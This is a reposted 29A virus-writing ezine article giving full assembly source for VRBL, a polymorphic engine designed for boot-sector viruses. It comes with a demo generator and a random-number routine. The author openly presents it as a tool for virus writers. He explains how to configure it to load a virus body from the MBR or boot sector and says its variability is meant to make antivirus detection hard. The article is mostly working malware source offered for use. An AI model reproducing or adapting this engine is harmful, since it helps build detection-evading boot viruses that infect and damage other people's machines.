Copy Link
Add to Bookmark
Report

29A Issue 02 02 05

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [VRBL]
; Vecna's Random Boot Loader
;
;
; This is the first polymorphic engine exclusively designed for boot viruses
; ever, and it's, maybe, one of the most variable engines in the world! This
; engine creates a loader, to be put in the MBR/BOOT, and sets up registers
; for further polymorphism in the virus body. The engine, btw, is very small
; as it's only 739 bytes long.
;
; The engine operates this way: first it creates random movs, jmps, xchgs,
; adds, xors, and so on. They are fully random, with no fixed structure. Af-
; ter this, it executes the loader in single step mode. The int 1 handler
; checks for the end of the generated code, when it passes control to the
; final routine, which fixes the needed registers, thru xors, adds and subs,
; using the values that are already held in the registers. So, not even the
; moves are fixed. After this, the loader passes control to the virus body,
; either by an intersegmented jump, or by means of a retf instruction.
;
; The engine has two EQUates, which are SIZE_IN_SECTORS and SEGMENT_VALUE.
; In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and
; in SEGMENT_VALUE, the value of the segment you want your virus to get con-
; trol of. As your virus probably gets mem from 0:[413h], you should not put
; very high values here, because your virus may overwrite itself when moving
; to the final segment. In machines with 640kb of conventional memory, which
; is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS*
; 512)*2). Remember also not to put this value in the 7c0h-7b0h or 0h-100h
; segment area, because of the original boot and the IVT presence.
;
; In short, use 2000 and it will work. ;-)
;
; Below you will find the code for VRBL, and later a demo test program which
; shows the effectivity of the engine, and the randomizer routine that I de-
; signed especifically for it. Hope you enjoy it!


; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Poly engine for boot loader
; Entry:
; DI = buffer to put loader in
; CX = cylynder of code
; DX = head of code
; Exit:
; All preserved

size_in_sectors equ 3
segment_value equ 2000h

makeloader proc
pusha
push ds
push es
push cs
push cs
pop es
pop ds
call random_init
mov word ptr ds:[_CX], cx
mov word ptr ds:[_DX], dx
call random
and ax, 000111111b
or al, 10000b
mov cx, ax
mov word ptr [START], di
call random
and ax, 011111b
add al, 000111b
push cx
mov cx, ax
MyBrainIsUpsideDown:
call make_mov
loop MyBrainIsUpsideDown
pop cx
LoveKills:
push cx
NowIWannaSniffSomeGlue:
call random
and ax, 0111b
shl ax, 1
mov si, offset GARBAGE_TABLE
add si, ax
cmp si, word ptr ds:[LAST_CHOOSEN]
je NowIWannaSniffSomeGlue
mov word ptr ds:[LAST_CHOOSEN], si
call word ptr ds:[si]
pop cx
loop LoveKills
mov word ptr [STOP], di
push 0
pop ds
push dword ptr ds:[1*4]
mov word ptr ds:[1*4], offset INT1
mov word ptr ds:[1*4+2], cs
mov word ptr cs:[_SP], sp
mov ax, ss
mov word ptr cs:[_SS], ax
mov cx, 8
IDontWantBeBuriedInAPetCemetary:
push 0
loop IDontWantBeBuriedInAPetCemetary
popa
push 0100h
push cs
push word ptr cs:[START]
iret
endp makeloader

db '[VRBL]'

make_jmp proc
call random
mov al, 0ebh
and ah, 000001111b
or ah, 00000011b
stosw
movzx cx, ah
RamonesMania:
call random
stosb
loop RamonesMania
ret
endp make_jmp

make_inst_inst proc
call random
and ax, 01100000111b
mov bx, offset TABLE_INST_INST
xlat
or al, ah
stosb
SpiderMan:
call random
and ax, 00111111b
mov cx, ax
mov dx, ax
shr dx, 3
and cx, 0111b
cmp cx, dx
je SpiderMan
cmp cx, 0100b
je SpiderMan
cmp dx, 0100b
je SpiderMan
or ax, 11000000b
stosb
ret
endp make_inst_inst

table_inst_inst equ this byte
db 00001000b
db 10001000b
db 00100000b
db 00010000b
db 00000000b
db 00011000b
db 00101000b
db 00110000b

make_inst_sec proc
mov al, 011110111b
stosb
TheKKKTookMyBabyAway:
call random
and ax, 0000011100111000b
cmp ah, 00000100b
je TheKKKTookMyBabyAway
cmp al, 00010000b
jb TheKKKTookMyBabyAway
cmp al, 00101000b
ja TheKKKTookMyBabyAway
or al, ah
or al, 011000000b
stosb
ret
endp make_inst_sec

make_one_byte proc
mov si, offset table_one
call random
and ax, 00001111b
movsb
ret
endp make_one_byte

table_one equ this byte
clc
cld
cli
stc
std
sti
cmc
cwd
cbw
lodsb
scasb
sahf
lahf
int 3
nop
db 0f1h

make_inst_imm proc
mov bx, offset i_table
mov al, 10000001b
stosb
DoYouWannaDance:
call random
and ax, 0000011100000111b
cmp ah, 0100b
je DoYouWannaDance
xlat
or al, ah
stosb
call random
stosw
ret
endp make_inst_imm

i_table equ this byte
db 11000000b
db 11001000b
db 11010000b
db 11011000b
db 11100000b
db 11101000b
db 11110000b
db 11111000b

inc_dec_ proc
IWannaBeSedated:
call random
and al, 01111b
mov cl, al
and cl, 0111b
cmp cl, 0100b
je IWannaBeSedated
or al, 01000000b
stosb
ret
endp inc_dec_

make_mov proc
call random
and al, 0111b
cmp al, 0100b
je make_mov
or al, 010111000b
stosb
call random
stosw
ret
endp make_mov

start equ this byte
dw 0

last_choosen equ this byte
dw 0

garbage_table equ this byte
dw offset make_inst_inst
dw offset make_mov
dw offset make_inst_sec
dw offset make_inst_imm
dw offset inc_dec_
dw offset make_one_byte
dw offset make_jmp
dw offset make_mov

int1 proc
push bp
mov bp, sp
cmp word ptr cs:[bp+2], 1234h
stop equ word ptr $-2
jae fixreg
pop bp
iret
endp int1

fixreg proc
mov word ptr cs:[SAVE_AX], ax
mov word ptr cs:[SAVE_BX], bx
mov word ptr cs:[SAVE_CX], cx
mov word ptr cs:[SAVE_DX], dx
cli
mov sp, 1234h
_sp equ word ptr $-2
mov ax, 1234h
_ss equ word ptr $-2
mov ss, ax
sti
push 0
pop ds
pop dword ptr ds:[1*4]
push cs
push cs
pop ds
pop es
mov di, word ptr [STOP]
BornToDieInBerlin:
mov bp, 0
ImAStumpedStormtropperYesIAm:
mov si, offset TABLE_FIX
call random
and ax, 0111b
cmp al, 6
jae ImAStumpedStormtropperYesIAm
shl ax, 1
add si, ax
call word ptr [si]
call random
jp IBelieveInMiracles
call make_jmp
IBelieveInMiracles:
cmp bp, 0111111b
jne ImAStumpedStormtropperYesIAm
jmp HeyOhLetsGo

table_fix equ this byte
dw offset make_ax
dw offset make_bx
dw offset make_cx
dw offset make_dx
dw offset make_es
dw offset make_override

make_ax:
bts bp, 0
jc $ret
mov dl, 000b
mov bx, word ptr [SAVE_AX]
mov cx, word ptr [_AX]
$put:
mov al, 010000001b
stosb
call random
and ax, 011b
cmp al, 1
je @sub
cmp al, 2
je @add
@xor:
xor bx, cx
mov al, 011110000b
jmp store
@sub:
sub bx, cx
mov al, 011101000b
jmp store
@add:
sub bx, cx
neg bx
mov al, 011000000b
store:
and al, not(0111b)
or al, dl
stosb
xchg ax, bx
stosw
$ret:
ret
make_bx:
bts bp, 1
jc $ret
mov dl, 011b
mov bx, word ptr [SAVE_BX]
mov cx, word ptr [_BX]
jmp $put
make_cx:
bts bp, 2
jc $ret
mov dl, 001b
mov bx, word ptr [SAVE_CX]
mov cx, word ptr [_CX]
jmp $put
make_dx:
bts bp, 3
jc $ret
mov dl, 010b
mov bx, word ptr [SAVE_DX]
mov cx, word ptr [_DX]
jmp $put
make_es:
bts bp, 4
jc $ret
bt bp, 5
jc SadMOV
PushPop:
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 0
org $-1
pop es
stosb
jmp $ret
SadMOV:
mov al, 010111101b
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 010001110b
stosb
mov al, 011000101b
stosb
; mov bp, SEGMENT_VALUE
; mov es, bp
jmp $ret
make_override:
bts bp, 5
jc $ret
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov bl, byte ptr [seg_need]
TryES:
cmp bl, 26h
jne TryCS
; mov al, 0
; org $-1
; pop es
; stosb
CleanDI:
sub di, 3
jmp $ret
TryCS:
cmp bl, 2eh
je CleanDI
; mov al, 0
; org $-1
; pop cs
; stosb
TrySS:
cmp bl, 36h
jne TryDS
mov al, 0
org $-1
pop ss
jmp BackInBlack
TryDS:
cmp bl, 90h
jne TryFS
mov al, 0
org $-1
pop ds
BackInBlack:
stosb
jmp $ret
TryFS:
cmp bl, 64h
jne TryGS
mov ax, 1234h
org $-2
pop fs
jmp BackToTheHell
TryGS:
mov ax, 1234h
org $-2
pop gs
BackToTheHell:
stosw
jmp $ret
HeyOhLetsGo:
mov ax, 013cdh
stosw
call random
bt ax, 1
jc make_jump
make_retf:
mov ax, 00
org $-2
push es
push bx
stosw
mov al, 0
org $-1
retf
stosb
jmp done
make_jump:
mov al, 0eah
stosb
mov ax, word ptr cs:[_BX]
stosw
mov ax, SEGMENT_VALUE
stosw
jmp done
done:
mov word ptr [STOP], di
pop es
pop ds
popa
ret
endp fixreg

_AX dw 200h+size_in_sectors
_BX dw 0
_CX dw ?
_DX dw ?

save_AX dw ?
save_BX dw ?
save_CX dw ?
save_DX dw ?

; - -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This demo program generates 99999999 little demos of my engine. This code
; must reside in the MBR or the boot sector of a floppy or harddrive. They
; will load the rest of the virus from other track. They're very variable.
; This code is designed to run in a boot, so, if you execute the demos they
; will surely crash. Check the code with a debugger.


.model tiny
.code
.startup
.386

push cs
pop ds
push cs
pop es
do_next:
call random_init
mov di, 08000h
mov cx, 1
mov dx, 0180h
call makeloader
mov ah, 3ch
mov dx, offset fn2
xor cx, cx
int 21h
jc exit_dem
xchg ax, bx
mov ah, 40h
mov cx, word ptr [STOP]
mov dx, word ptr [START]
sub cx, dx
int 21h
mov ah, 3eh
int 21h
cmp byte ptr ds:[fn2+7], '9'
je zero_1
inc byte ptr ds:[fn2+7]
jmp next_file
zero_1:
mov byte ptr ds:[fn2+7], '0'
cmp byte ptr ds:[fn2+6], '9'
je zero_2
inc byte ptr ds:[fn2+6]
jmp next_file
zero_2:
mov byte ptr ds:[fn2+6], '0'
cmp byte ptr ds:[fn2+5], '9'
je zero_3
inc byte ptr ds:[fn2+5]
jmp next_file
zero_3:
mov byte ptr ds:[fn2+5], '0'
cmp byte ptr ds:[fn2+4], '9'
je zero_4
inc byte ptr ds:[fn2+4]
jmp next_file
zero_4:
mov byte ptr ds:[fn2+4], '0'
cmp byte ptr ds:[fn2+3], '9'
je zero_5
inc byte ptr ds:[fn2+3]
jmp next_file
zero_5:
mov byte ptr ds:[fn2+3], '0'
cmp byte ptr ds:[fn2+2], '9'
je zero_6
inc byte ptr ds:[fn2+2]
jmp next_file
zero_6:
mov byte ptr ds:[fn2+2], '0'
cmp byte ptr ds:[fn2+1], '9'
je zero_7
inc byte ptr ds:[fn2+1]
jmp next_file
zero_7:
mov byte ptr ds:[fn2+1], '0'
cmp byte ptr ds:[fn2], '9'
je exit_dem
inc byte ptr ds:[fn2]
jmp next_file
next_file:
jmp do_next
exit_dem:
int 20h

fn2 db '00000000.COM',0

seg_need db 65h

include random.asm
org 01000h
include vrbl.asm
end

; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This is a slow random number generator. This type of random number gene-
; rators are ideal for polymorphic viruses, because AVs will need to work
; hard in order to create a reliable algorithm to detect the virus. Despite
; of this, I changed it not to be slow, so I can demostrate the variability
; of the engine. You need to call first RANDOM_INIT, then RANDOM to get the
; random values back in AX.


random_init proc
pusha
push es
push ds
push cs cs
pop ds es
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 201h
mov bx, offset random_table
and cx, 0111111b
mov dx, 0080h
; int 13h
cmp dword ptr ds:[bx], ' );'
; je TableDone
CreateTable:
mov di, bx
mov cx, 512
NextRandom:
in al, 40h
xor byte ptr [X_V], al
in al, 40h
add byte ptr [X_V], al
jmp $+2
mov al, 00
X_V equ $-1
stosb
loop NextRandom
WriteTable:
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 301h
mov dword ptr ds:[bx], ' );'
and cx, 0111111b
mov dx, 80h
; int 13h
TableDone:
mov word ptr ds:[RANDOM_NUMBER], 5
pop ds
pop es
popa
ret
endp random_init

random proc
push bx
push ds
push cs
pop ds
mov ax, word ptr [RANDOM_NUMBER]
mov bx, ax
inc ax
cmp ax, 512
jbe ImTheCrusherKingOfTheRing
mov ax, 4
ImTheCrusherKingOfTheRing:
mov word ptr [RANDOM_NUMBER], ax
mov ax, word ptr [RANDOM_TABLE+bx]
sahf
pop ds
pop bx
ret
endp random

random_number dw 0
random_table db 512 dup(0)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT